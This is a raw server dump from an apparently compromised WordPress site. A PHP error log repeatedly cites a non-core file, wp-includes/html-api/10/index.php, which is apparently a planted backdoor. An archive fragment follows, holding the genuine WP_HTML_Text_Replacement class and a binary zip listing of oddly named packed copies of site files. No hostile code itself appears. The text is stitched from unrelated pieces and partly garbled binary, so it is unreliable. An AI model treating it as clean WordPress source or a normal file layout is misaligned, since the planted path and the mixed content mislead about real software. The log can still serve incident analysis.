[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

